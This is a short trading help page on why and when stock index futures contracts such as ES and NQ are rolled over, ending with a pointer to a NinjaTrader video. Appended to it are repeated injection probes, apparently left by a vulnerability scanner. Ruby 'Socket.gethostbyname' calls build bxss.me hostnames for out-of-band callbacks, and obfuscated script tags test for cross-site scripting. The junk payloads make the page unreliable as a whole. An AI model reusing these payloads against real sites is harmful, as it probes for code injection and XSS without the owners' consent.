What is contract rollover? Why do I have to rollover a futures contract?
Commonly traded stock index futures contracts such as the E-mini S&P 500 (ES) and E-mini Nasdaq 100 (NQ) are traded on the Chicago Mercantile Exchange (CME) in Chicago, USA. The CME Group defines the terms of these contracts.
Part of the contract specification is that the contracts last for a little more than 3 months and have an expiration date. By the time a contract expires a new contract for the next quarter has already begun trading. In practice this means that an investor or speculator holding a position in a contract must exit the expiring contract, and, if they wish to continue the position, must enter a position in the next contract. When and how does this happen?
How it happens.
The investor must place the trade to exit the old contract and another trade to enter the new one.
When it happens.
There is some overlap in time when both the expiring contract and the new contract are both trading. The overlap is a couple of weeks but there is a specific date that is known as the "rollover" date that most traders perform the trades to switch contracts. For stock index futures contracts, ES, MES, NQ, MNQ, YM, MYM, this date is always the Thursday in the week before the third Friday of the month. In practice many traders check the trading volume in the new contract to see if the liquidity is there to for there to be enough supply of bids ( for traders selling ) or asks ( for traders buying ) to support the other side of the transaction without incurring excessive slippage in price. But that Thursday is the target date for the rollovers to take place.
How do I rollover a contract in NinjaTrader? This video explains how to rollover a contract in NinjaTrader 8.
Socket.gethostbyname("hitdq"+"ochqvkho7a3e7.bxss.me.")[3].to_s)+"
Socket.gethostbyname('hitjl'+'tzjprqft90f94.bxss.me.')[3].to_s)+'
Socket.gethostbyname('hitqi'+'fhbbebabeda90.bxss.me.')[3].to_s)
>12B5(9470)</ScRiPt>
<ScRiPt >12B5(9410)</ScRiPt>
Socket.gethostbyname("hitty"+"zswjwkib9a589.bxss.me.")[3].to_s)+"
Socket.gethostbyname('hitze'+'hasaotky2c701.bxss.me.')[3].to_s)+'
Socket.gethostbyname('hitja'+'ghlaekfd571f7.bxss.me.')[3].to_s)
>bfU4(9664)</ScRiPt>
<ScRiPt >bfU4(9500)</ScRiPt>
Socket.gethostbyname("hitsr"+"tqwfdkea06046.bxss.me.")[3].to_s)+"
Socket.gethostbyname('hitlr'+'tscslxsw31b4f.bxss.me.')[3].to_s)+'
Socket.gethostbyname('hitrm'+'kihgcxkt8429c.bxss.me.')[3].to_s)
>iHrW(9746)</ScRiPt>
<ScRiPt >iHrW(9596)</ScRiPt>